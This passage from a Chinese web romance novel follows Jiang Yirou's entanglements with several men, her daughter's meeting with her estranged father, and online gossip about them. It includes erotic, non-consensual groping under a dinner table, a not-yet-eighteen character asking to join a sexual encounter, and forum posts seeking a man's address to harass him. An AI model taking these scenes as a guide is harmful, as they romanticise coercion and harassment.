他们各种询问姜以柔的联系方式、家庭地址和基本信息,甚至有人出高价购买姜以柔的高清照片。 后来还是校方出面删帖和封了一部分账号, 这种风气才得到扼制。 不过每天还是有很多人在八卦她的消息, 其中最引人遐想的莫过于她和几个男人的关系。 【买定离手,以柔姐姐到底会选方总、顾哥还是刚才直播里英雄救美的帅哥呢?!】 【我押方总!家长会那天我在场, 以柔姐姐看方总的眼神绝对不清白,她肯定喜欢方总!】 【嘁,只是喜欢他的钱吧, 一个30多的老男人有什么好喜欢的?】 【楼上的酸味都快溢出来了。不过我也不看好方总, 我支持顾哥!顾哥可是把传家宝都送出去了!】 【我押新出现的那位小哥哥,感觉他好帅啊!】 【等一下,你们是不是都忘了一个人?我们方少不配出现在选项里吗?!】 【方少?幼稚了点,还不如我呢。】 【楼上敢当着方少的面说这话吗?】 【其实……据可靠消息, 方少才是第一个见到姜以柔的人。他甚至是和姜渔同一天见到的她。】 【啥?姜渔和方少同一天见到了姜以柔?可姜渔不是她女儿吗?这不合理吧。】 【据说是姜以柔这么多年一直在外打工养家呢!呜呜以柔姐姐太辛苦了。】 【卧槽, 方少竟然是第一个……】 【这么说来,如果按照先来后到的顺序,方隐年都得在方少面前执妾礼啊!】 【那以后方总和方少各论各的?我管你叫小叔, 你管我叫大哥?】 【叔侄俩共侍姜以柔,这在S市也算一段佳话……】 【我不行了, 怀疑楼上几个人马上会被方家的保镖暗鲨。】 …… 众人热议大少爷方镜麒已经好几天没出现在校园里了。 很多人第一次这么期待见到方镜麒, 因为想要从他那里打探点消息,虽然大概率可能会挨校霸的揍,但什么都挡不住一颗八卦的心。 这天, 方大少终于出现了,一来就直奔姜渔。 午餐时间,姜渔拒绝了第18位端着餐盒献殷勤的同学,默默埋头加快了吃饭的速度。 就在这时,一道阴影蓦地落在她的头顶,她头也不抬地说道:“我什么都不要,别打扰我。” 她以为又是一个跟她套近乎的学生,结果却听到了方镜麒的声音。 “你们搬到哪里去了?” 姜渔动作一顿,抬头望去。 几天不见的校霸终于再次出现在校园里,他面色阴沉,一副怒意勃发的模样。 他这几天又被方隐年控制住了,好不容易寻到机会跑出来,结果却发现姜以柔搬家了。 一想到方隐年那个混蛋竟然打算把他送到国外读书,方镜麒就恨得牙根痒痒。 这个老东西送他出国,绝对是因为他的私心! 他就是不想让他跟姜以柔在一起! 他绝不会让方隐年得逞的! 方镜麒向前逼近一步,急于从姜渔口中得到姜以柔的下落。 他已经好几天没见到姜以柔,偏偏最近方隐年也不见人影。 方镜麒莫名有种不祥的预感,一股浓重的危机感笼罩在心头。 他今天一定要见到姜以柔! 姜渔当然不会告诉他,便低着头假装听不见。 “喂,说话!”方镜麒恨恨地磨了磨牙,一双凤眸死死瞪着她。 然而,姜渔打定主意不配合,他也没法像对待其他人一般“严刑逼供”,一时间竟拿她没办法。 “你给我等着!”方镜麒气急败坏,撂下一句狠话后转头便走。 姜渔瞥了眼他的背影,无所谓地低下了头。 姜渔不关心这位跋扈任性的方大少,她现在只关心一个人—— 她不动声色地瞥向自己的斜前方,那里坐着一个苍白沉默的女孩子,正是乐柠。 以往的乐柠就像个小麻雀似的,哪怕她冷着脸不搭理,也会围绕在她身边,但最近……乐柠从来没有主动找她。 姜渔抿了抿唇,长长的睫毛忽闪两下,掩去了眸中复杂的情绪。 这时,乐柠默默地站起身来,似乎要离开教室,她神情恍惚,不知道在想什么,不小心把自己的笔弄到了地面上。 姜渔眸光微闪,突然鼓起勇气喊住了她:“喂,你的笔掉了。” 说完,姜渔故作冷漠地垂下头,实则一直在用余光观察乐柠的反应。 乐柠在原地愣了许久,似乎才反应过来她在跟自己说话。她抿了抿唇,默默地低头捡起笔,低声说了句“谢谢”,便游魂般离开了。 姜渔瞬间捏紧了手中的作业本。 她……竟然还是没有搭理自己,看来是真的不打算跟她做朋友了。 姜渔烦躁地皱了皱眉头,明明她并不在乎有没有朋友,可为什么乐柠这个样子……会让她心里这么不舒服? 姜渔难得没有把心思全都放在学习上,因为这件事一直恍惚到下课。 等到体育课的时候,有名老师突然喊她去器材室领一下球拍。 姜渔觉得有点奇怪,因为她并不是体育课代表,但她还是依言去了。 没想到的是,她在体育器材室里见到了一个意想不到的人。 “姜渔……你是姜渔同学吧?” 眼前的男人身材高挑,一身剪裁得体的西装,头发梳得一丝不苟,连眼角的细纹都透着股儒雅之气。 姜渔见到他之后,却瞬间冷了脸,警惕又防备地瞪向他。 这个男人正是林松齐,她的生父。 姜渔转身便走,不想跟他过多纠缠。但林松齐却几步上前挡在她面前,面色激动地说道:“小渔,你知道了对不对?知道我是你的爸爸!” 林松齐从姜渔突变的脸色中,敏锐地猜出她绝对知道自己的身份,否则不可能对自己这样避之不及。 姜渔胸膛起伏,拼命压制住自己暴起揍人的冲动,冷声呵斥道:“让开!” 林松齐一动不动,紧紧地盯着面前的女孩,胸中激荡的情绪逼得他眼眶泛红。 “小渔,你听我解释,当初我是迫不得已才抛下你和你妈妈的,我必须站稳脚跟,才能带给你们更好的生活啊……” 姜渔冷冷地勾了勾唇角,面色嘲讽。 林松齐的鬼话,她一个字都不会信。 她张了张嘴,本打算跟他表明态度,让他以后不要再来烦她,但随即她又想起了什么,眸光微微闪烁了下。 姜渔沉默了一会儿,僵硬地问道:“所以,你现在是什么意思?” 林松齐见她似乎有松口的意思,立刻一脸惊喜地说道:“小渔,我想补偿你们母女俩。” 姜渔不说话,只默默盯着他,示意他继续往下说。 林松齐小心翼翼地上前一步,抬起手想要摸摸她的脑袋,见姜渔嫌恶地躲了一下,才苦笑着放下手。 他定了定心神,沉声道:“小渔,你给我点时间,等我……等我离婚了,我就把你们母女俩接回来。” “以后,我们一家三口好好生活,永远不分开了,好吗?”林松齐深深地望着她,一想到眼前的女孩是他和姜以柔的孩子,心底便涌动着无尽的父爱。 姜渔忍着恶心跟他虚与委蛇,问道:“那乐柠呢?” 她不止一次听乐柠跟她炫耀过,她有个多么好的爸爸,最开始她会嫉妒,后来当她明白林松齐是个什么样的人时,便只会为乐柠感到悲哀。 现在,想到乐柠最近苍白无神的脸庞,姜渔不由得心里紧缩了下。 林松齐会怎样对待乐柠呢?这个他疼爱了十几年的女儿。 提起乐柠,林松齐脸上的笑意缓缓收敛,归于一片近乎冷漠的平淡。 他沉默良久,才幽幽地叹了口气道:“我会给她和她妈妈留下足够的财产傍身的。” “留?”姜渔讶然反问。 这一刻,哪怕是再三告诫自己不要跟林松齐撕破脸,再多套几句话,姜渔还是忍不住心里的愤怒,冷声嗤笑道:“那些钱本来就是她家的,你有什么资格处置啊?” 林松齐不以为意地轻笑了下,看着姜渔的神情像是在看一个不懂事的孩子,他温声解释道:“小渔,这么多年来我替乐家做事,已经仁至义尽了,我只是拿走我应得的。” 姜渔眸光凌厉,沉声反驳道:“乐家可以找任何一个人帮他们做事,不一定做得比你差;但你如果没了乐家的帮扶,你就什么都不是!” 林松齐不与她争辩,只深深地看了她一眼,摇头说道:“小渔,以后你就懂了。” “你放心,我们一家团聚的日子,不会太久了。”林松齐笑了笑,语气有些意味深长。 姜渔闻言瞬间警惕起来,紧张地追问道:“你要做什么?” 林松齐却只笑着摇了摇头,“你们等我的好消息就行。” 随即,林松齐抬腕看了眼手表,说道:“好了,小渔,我们先说正事。” “我今天找你,是想让你帮我约一下你妈妈,我想跟以柔见个面。” 一提到姜以柔,林松齐的眼中燃起灼热的光,神情都变得激动起来。 他最近一直试图联系姜以柔,但什么方法都用过了,却全都失败了,不得已才找上了姜渔。 林松齐如今午夜梦回,梦到的全是当年跟姜以柔甜蜜的点点滴滴,哪怕那些记忆并不真切,却足以让他沉溺。 他渴望见到姜以柔,哪怕只是说说话也好。 看着林松齐眼中的炙热,姜渔只觉得无比恶心。她强压下那种翻江倒海的感觉,扯出一个冷笑,说道:“好,我会帮你转告的。” 才怪! 说完,姜渔便绕过他离开了。 林松齐也怕生出事端,便没有再拦,只深深地注视着姜渔离开的背影。 直到再也看不见那个冷漠的少女,林松齐才幽幽地叹了口气。 他看得出来,姜渔对他这个生父并不亲近,甚至可以说是反感。 看来要挽回她们母女,还有很长的一段路要走啊。 但没关系,他有的是耐心。 林松齐微微一笑,转身离开了器材室。 姜渔离开那个令人窒息的环境后,拔腿飞奔了许久,才慢慢将那股恶心感压下去。 她有些焦虑地咬了咬下唇,林松齐是怎么知道她在器材室的? 她突然想起了那个安排她去器材室的老师…… 姜渔第一次觉得,这所学校如此的不安全,好像哪里都有一双眼睛在盯着她。 她迫切地想要回家见到姜以柔,想要跟她说说今天发生的一切,于是姜渔思索片刻,做出了一个以前的她绝对不会做的举动—— 她请了个假,提前回家了。 姜渔心事重重地踏上了回家的路,却丝毫没有注意到,她身后跟着的尾巴……而且远不止一条尾巴。 当她走近别墅的大门口时,身后传来一道熟悉的声音。 “回个家也这么慢,真墨迹。” 姜渔身体一僵,僵硬地回过头,果不其然见到了方镜麒那张臭脸。 “你跟踪我?!”姜渔不敢置信地质问道。 方镜麒睨了她一眼,轻嗤道:“不止我一个人跟着你,你应该感谢我把那些尾随的人都清理掉了。” 闻言,姜渔的心骤然一凉,一股浓浓的后怕窜上了脊梁。 她今天有些心不在焉,回家时便没有那么警惕,竟然差点被人尾随到家里? 尾随的人会是谁呢? 林松齐?还是某些姜以柔的“狂热粉”? 不管是谁,都很危险。 某种程度上来说,今天还真是多亏了方镜麒。 姜渔咬着牙,面色有些难堪,但责怪的话是再也说不出口了。 方镜麒可不管姜渔心里的纠结,他只皱眉打量着眼前的别墅,嘴角随即扯出一抹冷笑。 “怪不得……” 这栋别墅,方镜麒再熟悉不过了,正是他家的一处房产。 怪不得方隐年这段时间一直故意拘着他,果然没安好心! 方隐年不让他来见姜以柔,甚至想把他远远地送出国,自己倒是巴巴地贴上去了。 方镜麒越想越气,气势汹汹地上前,毫不客气地就要推开房门。 “喂,你干什么?”姜渔试图去阻止,却拦不住愤怒的大少爷。 转眼间,方镜麒已经一脚踢开房门,阴着脸冲了进去。 姜渔紧随其后,满脸的愤怒与无奈。 不过,进门之后,两人都愣住了。 因为他们并未看到姜以柔,反而看到了一个意想不到的人。 “方隐年?”方镜麒凤眸微眯,眼神不善地盯着他的亲叔叔,一时间新仇旧恨涌上心头,他垂在身侧的手捏得咔咔作响。 不过,方大少终究是有长进的,他顾忌着这里是姜以柔的家,终究没有在这里动手。 他冲方隐年翻了个白眼,嫌恶之色溢于言表,冷声问道:“你怎么在这儿?姜以柔呢?” 出乎他意料的是,他那向来爱端着架子的小叔瞥他一眼,沉声呵斥道:“滚出去!” 此话一出,连姜渔都愣住了。 在她的印象里,这位方总虽然冷淡,但言行举止一直得体而从容,带着属于上位者的矜贵气度,这还是他第一次如此……失态吧? 而素来骄横的大少爷被骂了之后,第一反应竟然不是愤怒,而是……若有所思地打量起方隐年,神情古怪地问道:“方隐年,你吃枪药了?” 方镜麒觉得很奇怪,他那泰山崩于前而面不改色的小叔,很少有这么失控的情况。 不对劲,非常不对劲。 方镜麒有种强烈的预感,于是,他下意识地观察起来。 这一看之下他发现,向来一丝不苟的方隐年,西装外套不知道去哪里了,而且他的脸色异常难看,似乎正死死压抑着怒火。 方镜麒敢肯定,方隐年这份汹涌压抑的怒火绝不是因为他的突然到来。 那是因为什么呢? 方镜麒眸光微闪,再次问道:“姜以柔在哪儿?” 这时,旁边的姜渔也有些不安地问道:“方总,我妈妈呢?” 方隐年深吸一口气,转头看向姜渔,尽量平和地说道:“小渔,先回房写作业吧,你妈妈没事,放心。” 姜渔听出来了,方隐年是想要支开她,她眨了眨眼睛,顺从地点了点头,“好。” 随即她便转身回了自己的房间。 离开前,她默默地打量了眼这对叔侄,无声地叹了口气。 唉,希望他们不要又打起来吧…… 等到姜渔离开后,方镜麒迈开长腿,径直朝方隐年走去,一双眼睛不动声色地打量着周围。 突然,他的目光钉在了某一处,沙发的角落里躺着一小块布料。 方镜麒脚步一拐,快速走到那里,在方隐年反应过来之前一把抓起地面上的布料。 等他看清这是什么东西之后,方镜麒整个人瞬间熟了,从脖子红到耳根。 “你……”方镜麒红着脸,又羞又怒地瞪着方隐年,怒声道,“你他妈对姜以柔做了什么?!” 这……这分明是姜以柔的内衣! 方隐年这个畜生,该不会兽性大发强迫了她吧?! 方隐年眉头微蹙,等他看清方镜麒手里握着的东西后,一时间也有些无言。 方镜麒此时却顾不上跟他掰扯,他迫切地想要见到姜以柔,确认她的安全。 方镜麒转身便往楼上跑去,这毕竟是他家的产业,所以方镜麒知道哪个房间是最大最豪华的主卧,他想都没想直奔那里。 方镜麒用力推了下卧室门,感受到了一股阻力,当即确定了个七七八八,立刻开始拍门大喊:“姜以柔,你在吗?你还好吗?!” 此时,方隐年也施施然跟了上来。 他单手背在身后,冷眼旁观方镜麒砸门的举动,嘴角噙着一抹冷笑。 刚好,本来他也不打算让他们在里面逍遥。 方镜麒咣咣拍了好久的门,甚至都打算踹门了,他满心着急,一把揪住方隐年的衣领,厉声质问道:“你到底对她做了什么?!” 方隐年对这个侄子完全失了耐心,他一把扣住方镜麒的手腕,用力一拧便掰开了他的手。 方镜麒脸一黑,刚想继续动手,旁边的卧室门被打开了。 方镜麒心里一喜,立刻放弃方隐年,转身望过去,下一秒却怔住了。 出现在卧室门口的正是姜以柔,她穿了件睡袍,发丝凌乱,被汗湿后沾在锁骨上,有种潮湿的媚意,勾魂夺魄。 方镜麒还没来得及因为她的出现而心动,很快又看到了她身边的男人。 又是那个叫谢凛的男人,他只穿了条宽松的运动裤,赤祼着精壮的上半身,满脸被打扰的不悦。 这个时候,方镜麒即便再傻,也猜得到他们刚才在做什么。 他不敢置信地瞪大了眼睛,“你、你们……” 他本以为姜以柔是跟他的小叔……可万万没想到是这个很久不出现的谢凛! 方隐年目光幽幽地盯着谢凛,凤眸中涌动着冰冷彻骨的寒意,他从未像此刻这般,想要将眼前的男人碎尸万段。 谢凛自然是凛然不惧,甚至眸光淡淡地回了他一个挑衅的眼神。 姜以柔的目光从方镜麒身上,缓缓落到方隐年的身上,在触及他沉冷的眸光后,微微一顿,随即便刻意地避开了他的视线。 姜以柔头一次有种无奈的冲动,对在场的三个男人都是。 她既气谢凛的不管不顾,也气方镜麒的咋咋呼呼,当然也很不爽于方隐年的袖手旁观。 连着两次被迫中断……姜以柔是彻底没兴致了。 她忍不住翻了个白眼,一时间气得口不择言,说道:“你们叔侄俩怎么一个接一个的来打扰我?难不成是想加入我们?” 此话一出,谢凛和方隐年都面色骤沉,他们彼此对视一眼,眸中迸出锋锐的冷意。 他们都恨不得杀了对方,对彼此只有警惕和敌视,连和平共处都做不到,又谈何“加入”? 姜以柔当然也只是一气之下随便说说的而已。 然而,一根筋的方大少竟然当真了。 方镜麒愣了一瞬,随即缓缓蹙起眉头,面上竟显出几分沉吟之色。良久,他有些迟疑地问道:“可以吗?” 姜以柔、谢凛、方隐年:“……” 方镜麒丝毫没察觉到这诡异的气氛,有些急切地说道:“我再过几天就满十八岁了,我成年了……” 姜以柔用古怪的眼神打量了他一眼,荒唐到甚至有些想笑。 看来……方大少之前说愿意给她做小三,还真不是瞎说的。 有机会他是真的会把握啊! 眼看着谢凛和方隐年都因为方镜麒的这句话而面色阴戾,几乎要炸了,姜以柔赶紧找补道:“别开玩笑了。” 她忍不住狠狠瞪了方镜麒一眼。 这缺心眼的大少爷。 方镜麒却明显很失望地垂下眼眸,不爽地嘀咕道:“为什么是开玩笑……” 他当真了! 姜以柔没再管这位大少爷,她刻意揽住谢凛的手臂,笑着说道:“我爸妈还有小渔应该快回来了,你去做饭吧,他们也好久没见你了。” 谢凛眯着眼睛盯着方镜麒,垂在身侧的拳头都捏紧了,一时间没有应声。 连方隐年都盯着自家侄子,眼神极其不善,似乎要大义灭亲的模样。 姜以柔又拽了下谢凛的手臂,也不说话,就这么直勾勾地仰头盯着他。 谢凛的目光落在她身上,恨恨地咬了咬牙,他很想惩罚一下姜以柔的口无遮拦,但碍于有外人在,只能黑着脸压下心底的冲动。 谢凛还是妥协了,一行人下楼来到客厅,谢凛则开始做饭。 姜以柔这时才知道,原来便宜闺女竟提前放学回来了,如果不是方隐年反应快,恐怕就会被她撞见这尴尬的一幕。 思及至此,姜以柔眨了眨眼睛,小声对方隐年说了声“谢谢”。 方隐年却不看她,只淡声说道:“不用谢。” 他自会跟姜以柔讨要“谢礼”的。 过了一段时间,姜父姜母回家了,见到谢凛后都很惊喜,抓着他问东问西,完全是对待女婿的态度。 方隐年和方镜麒看到了,脸色都不太好。 等到姜父姜母热情地邀请方家叔侄留下吃饭时,又轮到谢凛表情难看了。 最后,一群人围坐在餐桌上,姜家的饭桌都差点坐不下。 厨房里还炖着汤,谢凛便主动坐在了离厨房最近的位置,姜以柔很自然地在他旁边落座,下一秒,另一侧便传来椅子被拉开的声音。 姜以柔转头看去,正对上方隐年的视线。 那双凤眸看起来还算平静,却莫名让姜以柔心头一跳。 姜以柔镇定地移开视线,干脆当他不存在。 谢凛眯起眼睛看了方隐年许久,神情不善,但碍于姜父姜母都在,便沉着脸没有说些什么。 方镜麒只是慢了一步,便没能抢到姜以柔身边的位置,不爽地皱紧了眉头。 餐桌上的气氛还算和谐,姜父姜母都很热情,这几个男人虽然对彼此满怀敌意,但都愿意给长辈一个面子,至少维持了表面的和谐。 只是那暗潮涌动的机锋是掩不住的,姜渔小心翼翼地抬头打量了眼在场的众人,心情微妙地低下了头,有种如坐针毡的感觉。 这时,谢凛起身去厨房处理菜品。 在谢凛离开之后,姜以柔突然觉得腿上一重。 她心里一惊,立刻悄悄垂眸看去,这一看之下,瞬间紧张地瞪圆了眼睛。 方隐年骨节分明的大手不动声色地攀上了她的大腿,甚至撩开了她睡裙的裙摆,贴着她的皮肉直往更深处钻。 姜以柔气得捏紧了手里的筷子。 方隐年这个混蛋,疯了吧?! 正当姜以柔想偷偷把他的手打掉时,谢凛从厨房回来了。 当谢凛在她身旁落座的一瞬间,姜以柔紧张地立刻收紧了腿,却也同时把那只不老实的手夹在了腿间。 方隐年平静地夹了菜放进嘴里,慢条斯理地咀嚼着,唇角勾起一个略带冷意的弧度。 第113章 姜以柔咬了咬牙, 竭力维持着表面的镇定,可藏在桌下的腿却止不住地轻颤。 在桌布的遮掩下,方隐年的大掌正肆无忌惮地在她的大腿上游走。 方隐年的手不似常年打拳的谢凛那般粗粝, 却也同样炙热,让姜以柔有种几乎要被融化的错觉。 方隐年面上仍是一派温和有礼的模样,他甚至还能微笑着跟姜父姜母聊天, 除了姜以柔之外, 没人知道他藏在桌下的那只手有多么强势。 滚烫的大手带着惊人的掌控欲在姜以柔的大腿上摩挲,往她的……处深入摸索。 姜以柔的紧张感在谢凛从厨房回来时, 达到了顶峰,她几乎是本能地夹紧了大腿根。 她本意是想要阻止方隐年的动作,但方隐年被她夹住后丝毫不慌, 甚至还狎昵地捏了捏她的腿肉。 雪白软腻的腿肉几乎溢出他的指缝, 姜以柔细微的挣扎在那只青筋微凸的大掌下没有丝毫反抗之力,像一只徒劳挣扎的鸟雀,怎么都飞不出他的手掌心。 姜以柔气得脸都红了,却敢怒不敢言, 只能低下头, 努力不让别人看出她的异样。 她和方隐年的关系哪怕暴露,也决不能在这饭桌上——那也太丢脸了,她以后还怎么面对她的便宜父母和女儿?! 方隐年肯定也是拿准了这个软肋, 才敢如此肆无忌惮。 姜以柔恨恨地咬牙,努力夹紧了双腿, 试图阻拦他的动作, 一双眼睛时不时瞟向旁边的谢凛,生怕被他看出异样。 好在谢凛需要时刻关注厨房里炖的汤,同时还要应对姜父姜母关心的询问, 所以并未注意到这里的异样。 姜以柔见状刚松一口气,下一秒就脸色微变。 方隐年神情平和,那只手却不容抗拒地抚上了她最……的地方。 修长的手指隔着……轻轻磨蹭着,很快,那片布料便沾染了湿意。 姜以柔微垂着头,呼吸有些不稳,她需要咬紧牙关,才能忍住那几乎溢出唇齿的闷哼。 方隐年慢条斯理地动作着,感受到指尖传来的湿热,以及手中这副躯体的轻颤后,他意味不明地勾了勾唇角。 随即,他变本加厉,轻轻拨开—— 姜以柔身体猛地一颤,手里的勺子磕在碗沿,发出一声清脆的响动。 谢凛立刻朝她看来,低声关切道:“怎么了?” 姜以柔本就紧张,当谢凛凑过来轻声关心她的那一刻,更是吓得魂儿都快飞了。 姜以柔没敢抬头看他,深吸一口气,尽量平静地说道:“没事,没拿稳而已。” 她的嗓音还算稳,细究之下才能察觉出嗓音里不自觉的颤抖。 谢凛只以为是她太累了,便轻轻拍了拍她的腿,低声嘱咐道:“不舒服就跟我说。” 这一下却几乎吓得姜以柔尖叫。 她只庆幸谢凛拍的是她的另一条大腿,否则,如果谢凛和方隐年的手在她的大腿上相遇…… 她不敢想这顿饭会变成什么样。 此时,方隐年已经越发放肆,修长的手指精准挑动起姜以柔的情绪。若不是饭桌上说说笑笑的声音,大概能听到细微的声音 那灵活的手指带来一阵阵难以抗拒的快乐,姜以柔只觉得眼前一阵阵发黑,几乎要软倒在椅子上。 她全靠意志力绷紧身体,才勉强没有显出异样。 姜以柔咬紧牙关忍耐着,连呼吸都不敢大声,生怕被任何人发现异样。 此时此刻,她无比后悔招惹了方隐年这条疯狗。 曾几何时,她还嘲笑过方隐年这人刻板又无趣,除了有钱之外没有什么能吸引她的地方。 可直到现在,姜以柔才意识到,她对于方隐年的认识还是太过片面了。 他哪里是刻板无趣啊? 他一旦疯起来,简直没人能比得上。 方家这叔侄两个,有一个算一个,全都不是什么省油的灯。 姜以柔死死捏着手里的勺子,用力到指节泛白,哪怕她竭力保持镇定,她的眸中还是蒙上了一层朦胧的水雾,整个人止不住地轻轻颤抖。 方隐年实在太熟悉她的身体了,他的手指仿佛有魔力一般,轻而易举地挑起了她体内的躁动。 连同之前和谢凛在一起时被打断的两次亲密,情潮再次席卷而来,且来势汹汹,几乎将她整个人吞没。 和欲望一同滋长的,还有姜以柔心底的恐慌—— 再这样下去,一定会被发现的! 就在姜以柔即将在层层叠加的快意中爆发时,方隐年的手突然抽离了。 姜以柔微微怔住,一时间有些回不过神来。 那只恼人的大手在搅得她一片狼狈后,干脆果决地离开了,连带着那灼热的触感也一同消失。 姜以柔刚才还恨不得把方隐年的爪子剁了,此时他终于放过了她,姜以柔在松了一口气的同时,竟感觉到微妙的……不舍? 姜以柔下意识地夹紧了双腿,那里的黏腻感很不舒服,关键是她被吊得不上不下的,现在就格外难受。 姜以柔恨恨地咬了咬下唇,幽幽地瞥向方隐年,潋滟的眸中满是怒意。 方隐年这个混蛋,绝对是故意的! 方隐年将手抽离之后,镇定自若地抽出张纸巾,慢条理斯地擦拭着那只作乱的手,将手指上的水迹擦得干干净净。 他动作优雅而从容,丝毫看不出刚刚曾做过多么狎昵的事情。 姜以柔盯着他擦手的动作,脸颊不由得漫上一层红霞,她又羞又恼,恨不得打死方隐年这个混蛋。 她深吸一口气,沉吟片刻后,笑着给谢凛夹了块排骨,温声道:“谢凛,这些菜已经够吃了,你就别忙活了,多吃点。” 谢凛素来冷硬的脸难得柔和下来,轻轻“嗯”了一声。 姜以柔温柔小意地为谢凛夹菜,嘱咐他多吃点,期间,她状似无意地瞟了眼方隐年,果然见到他面色沉了下来,正冷眼看着这一切。 看见方隐年不痛快了,姜以柔这才觉得心里舒坦了一些,微不可察地勾了勾唇角。 狗东西竟然敢戏弄她,那她也不会让他好过。 接下来,姜以柔特意把椅子挪远了些,这下她跟谢凛几乎贴在一起,跟方隐年之间却隔着一些距离。 这副避之不及的姿态让方隐年的神情更冷了几分,但终究无法说什么。 一直埋头吃饭的方镜麒也注意到了姜以柔的举动,立刻不屑地对自家小叔翻了个白眼,轻嗤道:“小丑。” 眼巴巴地凑上去跟姜以柔一起坐,结果遭人家嫌弃,这不是小丑是什么? 接下来,饭桌上还算平静,大家你一言我一语,没有让场面冷下来。 姜以柔难得想起关心一下便宜女儿,笑眯眯地问道:“小渔,现在你和你的同学们相处得还行吧?” 姜渔吃饭的动作一顿,想起了同学们谄媚的作态,不由得嘴角微抽,说道:“挺好的。他们……都很热情。” 姜渔有些无语地说道:“他们甚至还说,要拥护我当圣维尔的校长。” 那群学生为了讨好她简直无所不用其极,连支持她“篡位”当校长的鬼话都说得出口。 姜以柔闻言不由得被逗笑了。 这时,一直沉默的方隐年突然开口了:“你想当圣维尔的校长?” 姜渔神情微敛,有些紧张地瞥了他一眼。她不知道方隐年问这话是什么意思,便谨慎地没有开口。 谁知,方隐年竟然平静地说道:“等你上完大学后,如果真有这个想法,我可以帮你运作。” 姜渔:“……” 姜以柔:“……” 这人好无聊啊,没有一点儿幽默细胞吗? 姜以柔翻了个白眼,给便宜闺女夹了一筷子菜,温声叮嘱道:“吃饭吧。” 姜渔则面色古怪地盯了方隐年一眼,很快就重新低下头默默吃饭。 方隐年皱了皱眉头,似乎不理解她们的反应。 谢凛睨了他一眼,狭长的黑眸中是明晃晃的不屑与嫌恶。 旁边的方镜麒则肆无忌惮地嘲笑出声,言简意赅地评价道:“无聊的老男人。” 方隐年瞥了他一眼,眸带警告之意,可惜方大少根本不将他放在眼中。 这顿饭接近尾声的时候,姜父姜母便先回卧房休息了。 姜渔目送姥姥姥爷离开后,犹豫了一下,小声说道:“那个……刚才林松齐来找我了。” 此话一出,餐桌上瞬间安静下来。 姜以柔挑了挑眉梢,问道:“他找你做什么?” 谢凛和方家叔侄的目光也纷纷落到她身上,一个比一个幽深难测,意味不明。 姜渔咽了咽口水,莫名觉得压力山大,她小声把跟林松齐的对话复述了一遍,随即有些忐忑地望向姜以柔,说道:“我本来想再多套点话的,但我太生气了,实在没忍住……” 姜渔有些愧疚,为没能套出林松齐的计划而耿耿于怀。 姜以柔还没来得及安慰她,方隐年便淡声开口道:“林松齐的事不用你操心,我会处理的。” 姜渔眼神微动,抬眸看向他。 方隐年冲她和善地笑了笑,那副沉稳淡然的模样,很是让人安心。 谢凛瞥了方隐年一眼,转头用公筷给姜渔夹了一筷子菜,言简意赅地安慰道:“不用怕。” 方镜麒也“啧”了一声,不甘示弱道:“他再敢骚扰你,你就喊我,我帮你揍死他。” 姜渔:“……” 莫名感受到了很浓烈的“父爱”。:) 姜渔有些不自在地轻咳一声,像是刻意转移话题般说道:“对了,我们一周后有个校园开放日,会邀请家长来参观学校,到时候有很多活动,我……” 姜渔小心翼翼地看了眼姜以柔,低声说道:“我会作为学生代表上台演讲……” 姜渔话音未落,姜以柔便一脸惊喜地说道:“小渔你好棒啊,到时候我一定要去看你的演讲。” 姜渔心下骤松,不自觉露出一个笑容,“好。” 这一刻,她只觉得一颗心像是泡在了蜜罐里,有种飘飘然的甜意。 她从未如此幸福过。 刚才林松齐所带来的阴影,也转瞬间便消散了。 一顿饭吃完,方家叔侄也该离开了。 谢凛一直紧跟在姜以柔身边,警惕得像是守卫宝藏的恶龙,让他们找不到任何跟姜以柔独处的机会。 最后,方隐年深深地看了姜以柔一眼,转身离开了,顺便也拽走了一脸不情愿的方镜麒。 目送他们离开后,姜以柔迫不及待地拉着谢凛进了卧室,一进屋就往他身上蹭。 谢凛挑了挑眉梢,很快便反客为主地将她按在了床上,低哑的嗓音略带笑意:“这么迫不及待?” 姜以柔也不说话,只拿那双媚意荡漾的眸子直勾勾盯着他,还用一根手指勾了勾他的腰带。 果然,谢凛根本无法招架,他笑意微敛,呼吸立刻便重了起来。 谢凛俯身压下,两人同时发出满足的喟叹。 姜以柔眯着眼睛看着快速晃动的天花板,突然意味不明地笑了笑。 方隐年刚才费尽心思挑起来的□□,最后只能由谢凛来灭了。 ……不知道方隐年是否满意这个结果呢? 姜以柔和谢凛很是过了好几天没羞没臊的生活,每天两眼一睁就是亲热,谢凛在身体力行地实现他喂饱姜以柔的诺言。 姜以柔何止是被喂饱了,她都撑了! 这几天,她的世界里只有谢凛,方隐年给她打的电话、发的短信全都石沉大海。 姜以柔还在气他那天饭桌上的行为,打定主意晾一晾他,给他个教训,干脆直接把他拉黑了。 当然,也是因为她在谢凛这儿吃得太饱了,暂时无心打野食。 她丝毫不顾跟方隐年的“私情”,直接跟他断联了好几天,可谓无情至极。 很难想象方隐年这几天该有多煎熬。 然而,姜以柔大概还没意识到,像方隐年这样的“疯狗”,若是彻底逼疯了他,对她并没有好处…… 第114章 日子就这样平静地过下去, 直到某一天,圣维尔学院里出了件大事。 有名学生在上体育课的时候,丢了一条很名贵的项链, 校方便帮着查监控寻找。 这一查监控,就很巧合地查到了前几天下午的体育器材室,也正好看到了私下见面的林松齐和姜渔。 至此, 又一个劲爆大瓜在圣维尔学院里传开—— 姜渔的生父, 竟然是乐柠她爸!!! 圣维尔学院的校内论坛里,早就有很多校外人士窥屏, 所以,消息在校内传开的同时,很快也有人把这件事发到了网上。 校庆结束已经有一段日子了, 但姜以柔在网络上的热度始终居高不下。所以, 关于她的小道消息始一出现,立刻获得了极大的关注度。 当得知这则消息竟然与姜以柔的前夫有关时,更是引发了极大的波澜。 所有人都很想知道,究竟是谁能拥有十几岁时的姜以柔, 并能哄得她给自己生下一个孩子。 消息刚传出来的时候, 还比较模糊,众人只大概知道,姜以柔那个早就去世的前夫, 竟然依旧在世,现在还主动找上门来, 似乎想与姜以柔再续前缘。 【草, 姜以柔的前夫还活着?他不应该早就投胎了吗?!】 【如果他是个倒霉的早死鬼的话,我还能勉强无视他,但他竟然诈尸了……有没有这人的地址啊?我有点东西想寄给他。:)】 【心理委员呢?我不得劲!!!我不得劲!!!一想到姜以柔的死老公又活了我就难受啊啊啊啊——】 【死而复生的前夫……感觉这人比方总顾哥他们都有竞争力啊, 毕竟他们之间有一个孩子啊!】 …… 过了没多久,更详细的信息便被扒了出来,甚至连姜以柔和林松齐谈话的监控录像都泄露了。 一石激起千层浪,得知真相后,网友们一整个群情激奋。 【卧槽,你的意思是,这个曾经拥有过姜以柔,而且还让她给自己生了孩子的男人,竟然狠心地抛弃了姜以柔?!】 【这个林松齐……是个心狠手辣的人物,绝对不简单。】 